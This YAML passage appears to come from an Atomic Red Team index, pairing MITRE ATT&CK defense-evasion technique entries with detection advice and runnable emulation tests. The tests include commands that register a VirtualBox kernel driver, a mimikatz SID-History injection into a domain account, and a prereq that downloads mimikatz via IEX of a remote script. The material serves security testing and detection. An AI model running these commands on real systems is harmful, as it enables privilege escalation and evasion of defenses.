          Authentication Protocols and “PrintNightmare” Vulnerability. Retrieved May
          31, 2022.
        url: https://www.cisa.gov/uscert/ncas/alerts/aa22-074a
      - source_name: Mandiant APT42
        description: 'Mandiant. (n.d.). APT42: Crooked Charms, Cons and Compromise.
          Retrieved September 16, 2022.'
        url: https://www.mandiant.com/media/17826
      - source_name: Azure AD Conditional Access Exclusions
        description: Microsoft. (2022, August 26). Use Azure AD access reviews to
          manage users excluded from Conditional Access policies. Retrieved August
          30, 2022.
        url: https://docs.microsoft.com/en-us/azure/active-directory/governance/conditional-access-exclusion
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1036.001:
    technique:
      x_mitre_platforms:
      - macOS
      - Windows
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--b4b7458f-81f2-4d38-84be-1c5ba0167a52
      type: attack-pattern
      created: '2020-02-10T19:49:46.752Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1036.001
        url: https://attack.mitre.org/techniques/T1036/001
      - source_name: Threatexpress MetaTwin 2017
        url: https://threatexpress.com/blogs/2017/metatwin-borrowing-microsoft-metadata-and-digital-signatures-to-hide-binaries/
        description: Vest, J. (2017, October 9). Borrowing Microsoft MetaData and
          Signatures to Hide Binary Payloads. Retrieved September 10, 2019.
      modified: '2021-04-29T14:49:39.188Z'
      name: Invalid Code Signature
      description: |-
        Adversaries may attempt to mimic features of valid code signatures to increase the chance of deceiving a user, analyst, or tool. Code signing provides a level of authenticity on a binary from the developer and a guarantee that the binary has not been tampered with. Adversaries can copy the metadata and signature information from a signed program, then use it as a template for an unsigned program. Files with invalid code signatures will fail digital signature validation checks, but they may appear more legitimate to users and security tools may improperly handle these files.(Citation: Threatexpress MetaTwin 2017)

        Unlike [Code Signing](https://attack.mitre.org/techniques/T1553/002), this activity will not result in a valid signature.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_detection: Collect and analyze signing certificate metadata and check
        signature validity on software that executes within the environment, look
        for invalid signatures as well as unusual certificate characteristics and
        outliers.
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'File: File Metadata'
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
    atomic_tests: []
  T1564.006:
    technique:
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_domains:
      - enterprise-attack
      x_mitre_contributors:
      - Johann Rehberger
      - Janantha Marasinghe
      - Menachem Shafran, XM Cyber
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--b5327dd1-6bf9-4785-a199-25bcbd1f4a9d
      type: attack-pattern
      created: '2020-06-29T15:36:41.535Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1564.006
        url: https://attack.mitre.org/techniques/T1564/006
      - source_name: SingHealth Breach Jan 2019
        url: https://www.mci.gov.sg/-/media/mcicorp/doc/report-of-the-coi-into-the-cyber-attack-on-singhealth-10-jan-2019.ashx
        description: Committee of Inquiry into the Cyber Attack on SingHealth. (2019,
          January 10). Public Report of the Committee of Inquiry into the Cyber Attack
          on Singapore Health Services Private Limited's Patient Database. Retrieved
          June 29, 2020.
      - source_name: Sophos Ragnar May 2020
        url: https://news.sophos.com/en-us/2020/05/21/ragnar-locker-ransomware-deploys-virtual-machine-to-dodge-security/
        description: SophosLabs. (2020, May 21). Ragnar Locker ransomware deploys
          virtual machine to dodge security. Retrieved June 29, 2020.
      - source_name: Shadowbunny VM Defense Evasion
        url: https://embracethered.com/blog/posts/2020/shadowbunny-virtual-machine-red-teaming-technique/
        description: Johann Rehberger. (2020, September 23). Beware of the Shadowbunny
          - Using virtual machines to persist and evade detections. Retrieved September
          22, 2021.
      modified: '2022-04-25T14:00:00.188Z'
      name: Run Virtual Instance
      description: |-
        Adversaries may carry out malicious operations using a virtual instance to avoid detection. A wide variety of virtualization technologies exist that allow for the emulation of a computer or computing environment. By running malicious code inside of a virtual instance, adversaries can hide artifacts associated with their behavior from security tools that are unable to monitor activity inside the virtual instance. Additionally, depending on the virtual networking implementation (ex: bridged adapter), network traffic generated by the virtual instance can be difficult to trace back to the compromised host as the IP address and hostname might not match known values.(Citation: SingHealth Breach Jan 2019)

        Adversaries may utilize native support for virtualization (ex: Hyper-V) or drop the necessary files to run a virtual instance (ex: VirtualBox binaries). After running a virtual instance, adversaries may create a shared folder between the guest and host with permissions that enable the virtual instance to interact with the host file system.(Citation: Sophos Ragnar May 2020)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_detection: "Consider monitoring for files and processes associated with
        running a virtual instance, such as binary files associated with common virtualization
        technologies (ex: VirtualBox, VMware, QEMU, Hyper-V). Consider monitoring
        the size of virtual machines running on the system. Adversaries may create
        virtual images which are smaller than those of typical virtual machines.(Citation:
        Shadowbunny VM Defense Evasion) Network adapter information may also be helpful
        in detecting the use of virtual instances.\n\nConsider monitoring for process
        command-line arguments that may be atypical for benign use of virtualization
        software. Usage of virtualization binaries or command-line arguments associated
        with running a silent installation may be especially suspect (ex. <code>-silent</code>,
        <code>-ignore-reboot</code>), as well as those associated with running a headless
        (in the background with no UI) virtual instance (ex. <code>VBoxManage startvm
        $VM --type headless</code>).(Citation: Shadowbunny VM Defense Evasion) Similarly,
        monitoring command line arguments which suppress notifications may highlight
        potentially malicious activity (ex. <code>VBoxManage.exe setextradata global
        GUI/SuppressMessages \"all\"</code>).\n\nMonitor for commands which enable
        hypervisors such as Hyper-V.  If virtualization software is installed by the
        adversary, the Registry may provide detection opportunities. Consider monitoring
        for [Windows Service](https://attack.mitre.org/techniques/T1543/003), with
        respect to virtualization software. \n\nBenign usage of virtualization technology
        is common in enterprise environments, data and events should not be viewed
        in isolation, but as part of a chain of behavior."
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.1'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Windows Registry: Windows Registry Key Modification'
      - 'Image: Image Metadata'
      - 'Service: Service Creation'
      - 'Process: Process Creation'
      - 'File: File Creation'
      - 'Command: Command Execution'
      x_mitre_permissions_required:
      - User
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
      identifier: T1564.006
    atomic_tests:
    - name: Register Portable Virtualbox
      auto_generated_guid: c59f246a-34f8-4e4d-9276-c295ef9ba0dd
      description: "ransomware payloads via virtual machines (VM). \n[Maze ransomware](https://threatpost.com/maze-ransomware-ragnar-locker-virtual-machine/159350/)\n"
      supported_platforms:
      - windows
      input_arguments:
        msi_file_path:
          description: Path to the MSI file
          type: path
          default: PathToAtomicsFolder\T1564.006\bin\Virtualbox_52.msi
        cab_file_path:
          description: Path to the CAB file
          type: path
          default: PathToAtomicsFolder\T1564.006\bin\common.cab
      dependency_executor_name: powershell
      dependencies:
      - description: 'MSI file must exist on disk at specified location (#{msi_file_path})

          '
        prereq_command: 'if (Test-Path "#{msi_file_path}") {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory (split-path "#{msi_file_path}") -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1564.006/bin/Virtualbox_52.msi" -OutFile "#{msi_file_path}"
      - description: 'CAB file must exist on disk at specified location (#{cab_file_path})

          '
        prereq_command: 'if (Test-Path "#{cab_file_path}") {exit 0} else {exit 1}

          '
        get_prereq_command: "New-Item -Type Directory (split-path \"#{cab_file_path}\")
          -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1564.006/bin/common.cab\"
          -OutFile \"#{cab_file_path}\" \n"
      - description: 'Old version of Virtualbox must be installed

          '
        prereq_command: 'if (Test-Path "C:\Program Files\Oracle\VirtualBox\VboxC.dll")
          {exit 0} else {exit 1}

          '
        get_prereq_command: 'msiexec /i "#{msi_file_path}" /qn

          '
      executor:
        command: |
          "C:\Program Files\Oracle\VirtualBox\VBoxSVC.exe" /reregserver
          regsvr32 /S "C:\Program Files\Oracle\VirtualBox\VboxC.dll"
          rundll32 "C:\Program Files\Oracle\VirtualBox\VBoxRT.dll,RTR3Init"
          sc create VBoxDRV binpath= "C:\Program Files\Oracle\VirtualBox\drivers\VboxDrv.sys" type= kernel start= auto error= normal displayname= PortableVBoxDRV
          sc start VBoxDRV
        cleanup_command: |
          sc stop VBoxDRV
          sc delete VBoxDRV
          regsvr32 /u /S "C:\Program Files\Oracle\VirtualBox\VboxC.dll"
          msiexec /x "#{msi_file_path}" /qn
        name: command_prompt
    - name: Create and start VirtualBox virtual machine
      auto_generated_guid: 88b81702-a1c0-49a9-95b2-2dd53d755767
      description: |
        Create a simple VirtualBox VM and start up the machine
        Cleanup command stops and deletes the newly created VM and associated files
        https://www.virtualbox.org/manual/ch08.html#vboxmanage-startvm
        https://news.sophos.com/en-us/2020/05/21/ragnar-locker-ransomware-deploys-virtual-machine-to-dodge-security/
        https://attack.mitre.org/techniques/T1564/006/
      supported_platforms:
      - windows
      input_arguments:
        vm_name:
          description: Name of the new virtual machine
          type: string
          default: Atomic VM
        virtualbox_exe:
          description: Path to the VirtualBox executable
          type: path
          default: C:\Program Files\Oracle\VirtualBox\VirtualBox.exe
        vboxmanage_exe:
          description: Path to the executable for VBoxManage, the command-line interface
            to VirtualBox
          type: path
          default: C:\Program Files\Oracle\VirtualBox\VBoxManage.exe
        virtualbox_download:
          description: URL for the current installer for the Windows version of VirtualBox,
            as of March 2022
          type: url
          default: https://download.virtualbox.org/virtualbox/6.1.32/VirtualBox-6.1.32-149290-Win.exe
        virtualbox_installer:
          description: Executable for the Virtualbox installer
          type: string
          default: VirtualBox-6.1.32-149290-Win.exe
      dependency_executor_name: powershell
      dependencies:
      - description: 'VirtualBox must exist on disk at specified locations (#{virtualbox_exe})

          '
        prereq_command: 'if (Test-Path "#{virtualbox_exe}") {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
          $wc = New-Object System.Net.WebClient
          $wc.DownloadFile("#{virtualbox_download}","PathToAtomicsFolder\..\ExternalPayloads\#{virtualbox_installer}")
          start-process -FilePath "PathToAtomicsFolder\..\ExternalPayloads\#{virtualbox_installer}" -ArgumentList "--silent" -Wait
      - description: 'VBoxManage must exist on disk at specified locations (#{vboxmanage_exe})

          '
        prereq_command: 'if (Test-Path "#{vboxmanage_exe}") {exit 0} else {exit 1}

          '
        get_prereq_command: |
          $wc = New-Object System.Net.WebClient
          $wc.DownloadFile("#{virtualbox_download}","PathToAtomicsFolder\..\ExternalPayloads\#{virtualbox_installer}")
          start-process -FilePath "PathToAtomicsFolder\..\ExternalPayloads\#{virtualbox_installer}" -ArgumentList "--silent" -Wait
      executor:
        name: command_prompt
        elevation_required: false
        command: |
          "#{vboxmanage_exe}" createvm --name "#{vm_name}" --register
          "#{vboxmanage_exe}" modifyvm "#{vm_name}" --firmware efi
          "#{vboxmanage_exe}" startvm "#{vm_name}"
        cleanup_command: |-
          "#{vboxmanage_exe}" controlvm "#{vm_name}" poweroff
          "#{vboxmanage_exe}" unregistervm "#{vm_name}" --delete
    - name: Create and start Hyper-V virtual machine
      auto_generated_guid: fb8d4d7e-f5a4-481c-8867-febf13f8b6d3
      description: |
        Create a simple Hyper-V VM (Windows native hypervisor) and start up the machine
        Cleanup command stops and deletes the newly created VM
        https://docs.microsoft.com/en-us/virtualization/hyper-v-on-windows/quick-start/enable-hyper-v
        https://embracethered.com/blog/posts/2020/shadowbunny-virtual-machine-red-teaming-technique/
        https://attack.mitre.org/techniques/T1564/006/
      supported_platforms:
      - windows
      input_arguments:
        vm_name:
          description: Name of the new virtual machine
          type: string
          default: Atomic VM
      dependencies:
      - description: |
          Hyper-V must be enabled on the system
          Checks whether Hyper-V is enabled. If not, enables Hyper-V and forces a required restart
        prereq_command: 'if ((Get-WindowsOptionalFeature -Online -FeatureName Microsoft-Hyper-V).State
          = "Enabled") {exit 0} else {exit 1}

          '
        get_prereq_command: 'Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Hyper-V
          -All -Force

          '
      executor:
        name: powershell
        elevation_required: true
        command: |-
          $VM = "#{vm_name}"
          New-VM -Name $VM -Generation 2
          Set-VMFirmware $VM -EnableSecureBoot Off
          Start-VM $VM
        cleanup_command: |-
          Stop-VM $VM -Force
          Remove-VM $VM -Force
  T1134.005:
    technique:
      x_mitre_platforms:
      - Windows
      x_mitre_domains:
      - enterprise-attack
      x_mitre_contributors:
      - Alain Homewood, Insomnia Security
      - Vincent Le Toux
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--b7dc639b-24cd-482d-a7f1-8897eda21023
      type: attack-pattern
      created: '2020-02-18T18:34:49.414Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1134.005
        url: https://attack.mitre.org/techniques/T1134/005
      - url: https://msdn.microsoft.com/library/windows/desktop/aa379571.aspx
        description: Microsoft. (n.d.). Security Identifiers. Retrieved November 30,
          2017.
        source_name: Microsoft SID
      - url: https://msdn.microsoft.com/library/ms679833.aspx
        description: Microsoft. (n.d.). Active Directory Schema - SID-History attribute.
          Retrieved November 30, 2017.
        source_name: Microsoft SID-History Attribute
      - url: https://support.microsoft.com/help/243330/well-known-security-identifiers-in-windows-operating-systems
        description: Microsoft. (2017, June 23). Well-known security identifiers in
          Windows operating systems. Retrieved November 30, 2017.
        source_name: Microsoft Well Known SIDs Jun 2017
      - url: https://technet.microsoft.com/library/ee617241.aspx
        description: Microsoft. (n.d.). Active Directory Cmdlets - Get-ADUser. Retrieved
          November 30, 2017.
        source_name: Microsoft Get-ADUser
      - url: https://adsecurity.org/?p=1772
        description: 'Metcalf, S. (2015, September 19). Sneaky Active Directory Persistence
          #14: SID History. Retrieved November 30, 2017.'
        source_name: AdSecurity SID History Sept 2015
      - url: https://msdn.microsoft.com/library/ms677982.aspx
        description: Microsoft. (n.d.). Using DsAddSidHistory. Retrieved November
          30, 2017.
        source_name: Microsoft DsAddSidHistory
      modified: '2022-04-25T14:00:00.188Z'
      name: 'Access Token Manipulation: SID-History Injection'
      description: |-
        Adversaries may use SID-History Injection to escalate privileges and bypass access controls. The Windows security identifier (SID) is a unique value that identifies a user or group account. SIDs are used by Windows security in both security descriptors and access tokens. (Citation: Microsoft SID) An account can hold additional SIDs in the SID-History Active Directory attribute (Citation: Microsoft SID-History Attribute), allowing inter-operable account migration between domains (e.g., all values in SID-History are included in access tokens).

        With Domain Administrator (or equivalent) rights, harvested or well-known SID values (Citation: Microsoft Well Known SIDs Jun 2017) may be inserted into SID-History to enable impersonation of arbitrary users/groups such as Enterprise Administrators. This manipulation may result in elevated access to local resources and/or access to otherwise inaccessible domains via lateral movement techniques such as [Remote Services](https://attack.mitre.org/techniques/T1021), [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002), or [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006).
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      x_mitre_detection: |-
        Examine data in user’s SID-History attributes using the PowerShell <code>Get-ADUser</code> cmdlet (Citation: Microsoft Get-ADUser), especially users who have SID-History values from the same domain. (Citation: AdSecurity SID History Sept 2015) Also monitor account management events on Domain Controllers for successful and failed changes to SID-History. (Citation: AdSecurity SID History Sept 2015) (Citation: Microsoft DsAddSidHistory)

        Monitor for Windows API calls to the <code>DsAddSidHistory</code> function. (Citation: Microsoft DsAddSidHistory)
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Active Directory: Active Directory Object Modification'
      - 'Process: OS API Execution'
      - 'User Account: User Account Metadata'
      x_mitre_permissions_required:
      - Administrator
      - SYSTEM
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
      identifier: T1134.005
    atomic_tests:
    - name: Injection SID-History with mimikatz
      auto_generated_guid: 6bef32e5-9456-4072-8f14-35566fb85401
      description: 'Adversaries may use SID-History Injection to escalate privileges
        and bypass access controls. Must be run on domain controller

        '
      supported_platforms:
      - windows
      input_arguments:
        sid_to_inject:
          description: SID to inject into sidhistory
          type: string
          default: S-1-5-21-1004336348-1177238915-682003330-1134
        sam_account_name:
          description: Target account to modify
          type: string
          default: "$env:username"
        mimikatz_path:
          description: Mimikatz windows executable
          type: path
          default: PathToAtomicsFolder\..\ExternalPayloads\mimikatz\x64\mimikatz.exe
      dependency_executor_name: powershell
      dependencies:
      - description: 'Mimikatz executor must exist on disk and at specified location
          (#{mimikatz_path})

          '
        prereq_command: |
          $mimikatz_path = cmd /c echo #{mimikatz_path}
          if (Test-Path $mimikatz_path) {exit 0} else {exit 1}
        get_prereq_command: "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nNew-Item
          -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\" -ErrorAction
          Ignore -Force | Out-Null\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-FetchFromZip.ps1\"
          -UseBasicParsing) \n$releases = \"https://api.github.com/repos/gentilkiwi/mimikatz/releases\"\n$zipUrl
          = (Invoke-WebRequest $releases | ConvertFrom-Json)[0].assets.browser_download_url
          | where-object { $_.endswith(\".zip\") }\n$mimikatz_exe = cmd /c echo #{mimikatz_path}\n$basePath
          = Split-Path $mimikatz_exe | Split-Path\nInvoke-FetchFromZip $zipUrl \"x64/mimikatz.exe\"
          $basePath\n"
      executor:
        name: command_prompt
        elevation_required: true
        command: '#{mimikatz_path} "privilege::debug" "sid::patch" "sid::add /sid:#{sid_to_inject}
          /sam:#{sam_account_name}" "exit"

          '
        cleanup_command: '#{mimikatz_path} "sid::clear /sam:#{sam_account_name}" "exit"

          '
  T1599:
    technique:
      x_mitre_platforms:
      - Network
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      type: attack-pattern
      id: attack-pattern--b8017880-4b1e-42de-ad10-ae7ac6705166
      created: '2020-10-19T16:08:29.817Z'
      x_mitre_version: '1.1'
      external_references:
      - source_name: mitre-attack
        external_id: T1599
        url: https://attack.mitre.org/techniques/T1599
      - source_name: Kaspersky ThreatNeedle Feb 2021
        url: https://securelist.com/lazarus-threatneedle/100803/
        description: Vyacheslav Kopeytsev and Seongsu Park. (2021, February 25). Lazarus
          targets defense industry with ThreatNeedle. Retrieved October 27, 2021.
      x_mitre_deprecated: false
      revoked: false
      description: |-
        Adversaries may bridge network boundaries by compromising perimeter network devices or internal devices responsible for network segmentation. Breaching these devices may enable an adversary to bypass restrictions on traffic routing that otherwise separate trusted and untrusted networks.

        Devices such as routers and firewalls can be used to create boundaries between trusted and untrusted networks.  They achieve this by restricting traffic types to enforce organizational policy in an attempt to reduce the risk inherent in such connections.  Restriction of traffic can be achieved by prohibiting IP addresses, layer 4 protocol ports, or through deep packet inspection to identify applications.  To participate with the rest of the network, these devices can be directly addressable or transparent, but their mode of operation has no bearing on how the adversary can bypass them when compromised.

        When an adversary takes control of such a boundary device, they can bypass its policy enforcement to pass normally prohibited traffic across the trust boundary between the two separated networks without hinderance.  By achieving sufficient rights on the device, an adversary can reconfigure the device to allow the traffic they want, allowing them to then further achieve goals such as command and control via [Multi-hop Proxy](https://attack.mitre.org/techniques/T1090/003) or exfiltration of data via [Traffic Duplication](https://attack.mitre.org/techniques/T1020/001). Adversaries may also target internal devices responsible for network segmentation and abuse these in conjunction with [Internal Proxy](https://attack.mitre.org/techniques/T1090/001) to achieve the same goals.(Citation: Kaspersky ThreatNeedle Feb 2021)  In the cases where a border device separates two separate organizations, the adversary can also facilitate lateral movement into new victim environments.
      modified: '2022-05-24T14:00:00.188Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Network Boundary Bridging
      x_mitre_detection: |-
        Consider monitoring network traffic on both interfaces of border network devices with out-of-band packet capture or network flow data, using a different device than the one in question.  Look for traffic that should be prohibited by the intended network traffic policy enforcement for the border network device.

        Monitor the border network device’s configuration to validate that the policy enforcement sections are what was intended.  Look for rules that are less restrictive, or that allow specific traffic types that were not previously authorized.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_is_subtechnique: false
      x_mitre_data_sources:
      - 'Network Traffic: Network Traffic Content'
      - 'Network Traffic: Network Traffic Flow'
      x_mitre_defense_bypassed:
      - Firewall
      - System Access Controls
      x_mitre_attack_spec_version: 2.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1553:
    technique:
      modified: '2024-03-01T17:17:37.292Z'
      name: Subvert Trust Controls
      description: "Adversaries may undermine security controls that will either warn
        users of untrusted activity or prevent execution of untrusted programs. Operating
        systems and security products may contain mechanisms to identify programs
        or websites as possessing some level of trust. Examples of such features would
        include a program being allowed to run because it is signed by a valid code
        signing certificate, a program prompting the user with a warning because it
        has an attribute set from being downloaded from the Internet, or getting an
        indication that you are about to connect to an untrusted site.\n\nAdversaries
        may attempt to subvert these trust mechanisms. The method adversaries use
        will depend on the specific mechanism they seek to subvert. Adversaries may
        conduct [File and Directory Permissions Modification](https://attack.mitre.org/techniques/T1222)
        or [Modify Registry](https://attack.mitre.org/techniques/T1112) in support
        of subverting these controls.(Citation: SpectorOps Subverting Trust Sept 2017)
        Adversaries may also create or steal code signing certificates to acquire
        trust on target systems.(Citation: Securelist Digital Certificates)(Citation:
        Symantec Digital Certificates) "
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_deprecated: false
      x_mitre_detection: "Collect and analyze signing certificate metadata on software
        that executes within the environment to look for unusual certificate characteristics
        and outliers. Periodically baseline registered SIPs and trust providers (Registry
        entries and files on disk), specifically looking for new, modified, or non-Microsoft
        entries. (Citation: SpectorOps Subverting Trust Sept 2017) A system's root
        certificates are unlikely to change frequently. Monitor new certificates installed
        on a system that could be due to malicious activity.(Citation: SpectorOps
        Code Signing Dec 2017)\n\nAnalyze Autoruns data for oddities and anomalies,
        specifically malicious files attempting persistent execution by hiding within
        auto-starting locations. Autoruns will hide entries signed by Microsoft or
        Windows by default, so ensure \"Hide Microsoft Entries\" and \"Hide Windows
        Entries\" are both deselected.(Citation: SpectorOps Subverting Trust Sept
        2017) \n\nMonitor and investigate attempts to modify extended file attributes
        with utilities such as <code>xattr</code>. Built-in system utilities may generate
        high false positive alerts, so compare against baseline knowledge for how
        systems are typically used and correlate modification events with other indications
        of malicious activity where possible. "
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Windows
      - macOS
      - Linux
      x_mitre_version: '1.2'
      x_mitre_data_sources:
      - 'Module: Module Load'
      - 'Windows Registry: Windows Registry Key Creation'
      - 'File: File Metadata'
      - 'Command: Command Execution'
      - 'Process: Process Creation'
      - 'File: File Modification'
      - 'Windows Registry: Windows Registry Key Modification'
      x_mitre_defense_bypassed:
      - Anti-virus
      - Autoruns Analysis
      - Digital Certificate Validation
      - User Mode Signature Validation
      - Windows User Account Control
      - Application Control
      type: attack-pattern
      id: attack-pattern--b83e166d-13d7-4b52-8677-dff90c548fd7
      created: '2020-02-05T14:54:07.588Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1553
        external_id: T1553
      - source_name: SpectorOps Code Signing Dec 2017
        description: Graeber, M. (2017, December 22). Code Signing Certificate Cloning
          Attacks and Defenses. Retrieved April 3, 2018.
        url: https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec
      - source_name: SpectorOps Subverting Trust Sept 2017
        description: Graeber, M. (2017, September). Subverting Trust in Windows. Retrieved
          January 31, 2018.
        url: https://specterops.io/assets/resources/SpecterOps_Subverting_Trust_in_Windows.pdf
      - source_name: Securelist Digital Certificates
        description: Ladikov, A. (2015, January 29). Why You Shouldn’t Completely
          Trust Files Signed with Digital Certificates. Retrieved March 31, 2016.
        url: https://securelist.com/why-you-shouldnt-completely-trust-files-signed-with-digital-certificates/68593/
      - source_name: Symantec Digital Certificates
        description: Shinotsuka, H. (2013, February 22). How Attackers Steal Private
          Keys from Digital Certificates. Retrieved March 31, 2016.
        url: http://www.symantec.com/connect/blogs/how-attackers-steal-private-keys-digital-certificates
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1548.004:
    technique:
      modified: '2022-11-08T14:00:00.188Z'
      name: Elevated Execution with Prompt
      description: "Adversaries may leverage the <code>AuthorizationExecuteWithPrivileges</code>
        API to escalate privileges by prompting the user for credentials.(Citation:
        AppleDocs AuthorizationExecuteWithPrivileges) The purpose of this API is to
        give application developers an easy way to perform operations with root privileges,
        such as for application installation or updating. This API does not validate
        that the program requesting root privileges comes from a reputable source
        or has been maliciously modified. \n\nAlthough this API is deprecated, it
        still fully functions in the latest releases of macOS. When calling this API,
        the user will be prompted to enter their credentials but no checks on the
        origin or integrity of the program are made. The program calling the API may
        also load world writable files which can be modified to perform malicious
        behavior with elevated privileges.\n\nAdversaries may abuse <code>AuthorizationExecuteWithPrivileges</code>
        to obtain root privileges in order to install malicious software on victims
        and install persistence mechanisms.(Citation: Death by 1000 installers; it's
        all broken!)(Citation: Carbon Black Shlayer Feb 2019)(Citation: OSX Coldroot
        RAT) This technique may be combined with [Masquerading](https://attack.mitre.org/techniques/T1036)
        to trick the user into granting escalated privileges to malicious code.(Citation:
        Death by 1000 installers; it's all broken!)(Citation: Carbon Black Shlayer
        Feb 2019) This technique has also been shown to work by modifying legitimate
        programs present on the machine that make use of this API.(Citation: Death
        by 1000 installers; it's all broken!)"
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_detection: Consider monitoring for <code>/usr/libexec/security_authtrampoline</code>
        executions which may indicate that <code>AuthorizationExecuteWithPrivileges</code>
        is being executed. MacOS system logs may also indicate when <code>AuthorizationExecuteWithPrivileges</code>
        is being called. Monitoring OS API callbacks for the execution can also be
        a way to detect this behavior but requires specialized security tooling.
      x_mitre_platforms:
      - macOS
      x_mitre_is_subtechnique: true
      x_mitre_deprecated: false
      x_mitre_domains:
      - enterprise-attack
      x_mitre_version: '1.0'
      x_mitre_contributors:
      - Jimmy Astle, @AstleJimmy, Carbon Black
      - Erika Noerenberg, @gutterchurl, Carbon Black
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Process: OS API Execution'
      x_mitre_permissions_required:
      - Administrator
      - User
      x_mitre_effective_permissions:
      - root
      type: attack-pattern
      id: attack-pattern--b84903f0-c7d5-435d-a69e-de47cc3578c0
      created: '2020-01-30T14:40:20.187Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1548/004
        external_id: T1548.004
      - source_name: AppleDocs AuthorizationExecuteWithPrivileges
        description: Apple. (n.d.). Apple Developer Documentation - AuthorizationExecuteWithPrivileges.
          Retrieved August 8, 2019.
        url: https://developer.apple.com/documentation/security/1540038-authorizationexecutewithprivileg
      - source_name: Carbon Black Shlayer Feb 2019
        description: Carbon Black Threat Analysis Unit. (2019, February 12). New macOS
          Malware Variant of Shlayer (OSX) Discovered. Retrieved August 8, 2019.
        url: https://blogs.vmware.com/security/2020/02/vmware-carbon-black-tau-threat-analysis-shlayer-macos.html
      - source_name: Death by 1000 installers; it's all broken!
        description: Patrick Wardle. (2017). Death by 1000 installers; it's all broken!.
          Retrieved August 8, 2019.
        url: https://speakerdeck.com/patrickwardle/defcon-2017-death-by-1000-installers-its-all-broken?slide=8
      - source_name: OSX Coldroot RAT
        description: Patrick Wardle. (2018, February 17). Tearing Apart the Undetected
          (OSX)Coldroot RAT. Retrieved August 8, 2019.
        url: https://objective-see.com/blog/blog_0x2A.html
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 2.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1218.010:
    technique:
      modified: '2023-05-09T14:00:00.188Z'
      name: 'Signed Binary Proxy Execution: Regsvr32'
      description: |-
